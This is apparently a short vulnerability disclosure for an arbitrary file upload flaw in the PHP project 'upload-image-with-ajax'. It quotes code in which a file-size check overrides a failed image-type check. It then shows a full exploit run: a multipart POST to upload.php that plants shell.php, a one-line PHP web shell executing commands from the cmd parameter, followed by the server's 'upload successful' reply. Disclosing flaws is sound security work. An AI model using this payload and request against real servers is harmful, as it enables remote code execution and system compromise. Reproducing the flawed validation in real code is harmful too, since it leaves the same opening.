Title:Arbitrary file upload vulnerability in upload-image-with-ajaxThe code below changes the $ready flag to true if the file conforms to the size of < 1000000. Reversing the check that the file is an image. So, a .php file can be uploaded with only a warning allowing code execution. $ready = false; if((($imageType == "image/jpeg") || ($imageType == "image/jpg") || ($imageType == "image/png"))&&in_array($fileExt, $validext)){ $ready = true; }else{ echo "was not an image "; /You should abort the upload right here/ } if($_FILES["fileUpload"]["size"] < 1000000){ $ready = true; echo "file size is ".$_FILES['fileUpload']["size"]." "; }else{ echo "file was TOO BIG!"; } $ ./fileupload_exploit 192.168.0.3 80 /upload-image-with-ajax/upload.php fileUpload POST request size is 482 bytes Sending Payload: POST /upload-image-with-ajax/upload.php HTTP/1.1 Host: 192.168.0.3 User-Agent: File Upload Exploiter/v1.2 Accept: */* Content-Length: 251 Content-Type: multipart/form-data; boundary=------------------------c8e05c8871143853 --------------------------c8e05c8871143853 Content-Disposition: form-data; name="fileUpload"; filename="shell.php" Content-Type: application/octet-stream <?php $cmd=$_GET['cmd']; system($cmd);?> --------------------------c8e05c8871143853-- HTTP/1.1 200 OK Date: Tue, 24 Dec 2019 12:16:57 GMT Server: Apache/2.4.25 (Debian) Vary: Accept-Encoding Content-Length: 96 Content-Type: text/html; charset=UTF-8 was not an image<br><h2> application/octet-stream</h2>file size is 42<br>upload successful! [+] Total bytes read: 267